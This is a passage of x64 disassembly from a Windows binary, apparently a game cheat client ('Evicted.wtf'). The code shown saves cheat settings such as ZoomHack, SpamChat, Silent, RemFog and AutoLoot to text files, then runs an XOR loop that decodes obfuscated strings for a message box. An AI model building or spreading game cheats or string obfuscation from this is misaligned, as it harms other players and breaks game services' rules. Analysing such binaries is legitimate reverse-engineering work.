lea rcx, [0x1400b1df0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b1df0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3ed8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfZoomHack.txt
lea rcx, [0x1400b5310]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b5310]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b4a8c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSpamChat.txt
lea rcx, [0x1400b4100]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4100]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b398a]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfHipFire.txt
lea rcx, [0x1400b4540]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4540]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b4a8d]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRapid.txt
lea rcx, [0x1400b0910]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b0910]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b4b99]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, [0x14009ea30]
lea rcx, [0x1400af9f0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400af9f0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b4b98]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCodeEnter.txt
lea rcx, [0x1400b3330]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3330]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3988]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfMiniOverlay.txt
lea rcx, [0x1400b4a90]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4a90]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b453c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.C:Evicted.wtfinstaeoka.txt
lea rcx, [0x1400b2bc0]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b2bc0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b40fe]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAutoDetect.txt
lea rcx, [0x1400b4dc0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3dd0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3edc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfdelayRapid.txt
lea rcx, [0x1400b4980]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4980]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movss xmm1, dword [0x1400ae304]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRapidbind.txt
lea rcx, [0x1400af150]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400af150]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400b3cbc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSensDt.txt
lea rcx, [0x1400b3770]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3770]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b453e]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBgrade.txt
lea rcx, [0x1400b4ba0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4ba0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b4a8f]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfKirka.txt
lea rcx, [0x1400b0a30]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b0a30]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b40fd]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRemFog.txt
lea rcx, [0x1400b5200]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b5200]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3ed9]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfTrash.txt
lea rcx, [0x1400b3880]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3880]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b453d]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAutoLoot.txt
lea rcx, [0x1400b4430]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4430]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3a9f]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfcrosshair.txt
lea rcx, [0x1400b3ff0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3ff0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3219]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSilent.txt
lea rcx, [0x1400b3990]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3990]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3ede]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfArmorDrop.txt
lea rcx, [0x1400b3990]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3990]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b321d]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
lea rcx, [0x1400b4cb0]
call fcn.14008aad0
lea rcx, [0x1400b2ef0]
call fcn.14008aad0
lea rcx, [0x1400b1cd0]
call fcn.14008aad0
lea rcx, [0x1400b3220]
call fcn.14008aad0
lea rcx, [0x1400af270]
call fcn.14008aad0
lea rcx, [0x1400b4320]
call fcn.14008aad0
lea rcx, [0x1400b0b50]
call fcn.14008aad0
lea rcx, [0x1400aff50]
call fcn.14008aad0
lea rcx, [0x1400b3110]
call fcn.14008aad0
lea rcx, [0x1400b0fc0]
call fcn.14008aad0
lea rcx, [0x1400b2780]
call fcn.14008aad0
lea rcx, [0x1400b3000]
call fcn.14008aad0
lea rcx, [0x1400b4650]
call fcn.14008aad0
lea rcx, [0x1400b2670]
call fcn.14008aad0
lea rcx, [0x1400b1bb0]
call fcn.14008aad0
lea rcx, [0x1400b1760]
call fcn.14008aad0
lea rcx, [0x1400b1410]
call fcn.14008aad0
lea rcx, [0x1400b07f0]
call fcn.14008aad0
lea rcx, [0x1400b1530]
call fcn.14008aad0
lea rcx, [0x1400b0c70]
call fcn.14008aad0
lea rcx, [0x1400b3550]
call fcn.14008aad0
lea rcx, [0x1400b2ab0]
call fcn.14008aad0
lea rcx, [0x1400b2cd0]
call fcn.14008aad0
lea rcx, [0x1400b0ea0]
call fcn.14008aad0
lea rcx, [0x1400b1df0]
call fcn.14008aad0
lea rcx, [0x1400b5310]
call fcn.14008aad0
lea rcx, [0x1400b4100]
call fcn.14008aad0
lea rcx, [0x1400b4540]
call fcn.14008aad0
lea rcx, [0x1400b0910]
call fcn.14008aad0
lea rcx, [0x1400af9f0]
call fcn.14008aad0
lea rcx, [0x1400b3330]
call fcn.14008aad0
lea rcx, [0x1400b4a90]
call fcn.14008aad0
lea rcx, [0x1400b2bc0]
call fcn.14008aad0
lea rcx, [0x1400b4dc0]
call fcn.14008aad0
lea rcx, [0x1400b3dd0]
call fcn.14008aad0
lea rcx, [0x1400b4980]
call fcn.14008aad0
lea rcx, [0x1400af150]
call fcn.14008aad0
lea rcx, [0x1400b3770]
call fcn.14008aad0
lea rcx, [0x1400b4ba0]
call fcn.14008aad0
lea rcx, [0x1400b0a30]
call fcn.14008aad0
lea rcx, [0x1400b5200]
call fcn.14008aad0
lea rcx, [0x1400b3880]
call fcn.14008aad0
lea rcx, [0x1400b4430]
call fcn.14008aad0
lea rcx, [0x1400b3ff0]
call fcn.14008aad0
lea rcx, [0x1400b3990]
call fcn.14008aad0
lea rcx, [0x1400b3bb0]
call fcn.14008aad0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x800]
mov byte [rbp + 0x57], 0
lea rcx, [rbp + 0x57]
call fcn.1400888f0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x14007e511
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x14007e4cd
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14007e4e0
movaps xmm2, xmm9
lea rcx, [rbp + 0x510]
movaps xmm1, xmm9
call fcn.140002fe0
mov rdx, rax
mov rcx, rbx
call fcn.140041040
test al, al
je 0x140080d99
lea rdx, [rbp + 0x9d0]
mov byte [rbp + 0x58], 0
lea rcx, [rbp + 0x58]
call fcn.140088910
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14007e6b1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x14007e677
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14007e680
mov r9d, 0x40
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x110
lea rcx, [rbp + 0x6c90]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x6c90]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x6da0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x6da0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x6eb0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x6eb0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x6fc0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x6fc0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x70d0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x70d0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x71e0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x71e0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x72f0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x72f0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7400]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7400]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7510]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7510]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7620]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7620]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7730]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7730]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7840]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7840]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7950]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7950]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7a60]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7a60]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7b70]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7b70]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7c80]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7c80]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7d90]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7d90]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7ea0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7ea0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x7fb0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x7fb0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x80c0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x80c0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x81d0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x81d0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x82e0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x82e0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x83f0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x83f0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8500]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8500]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8610]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8610]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8720]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8720]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8830]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8830]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8940]
call fcn.1400569b0
mov edx, 1
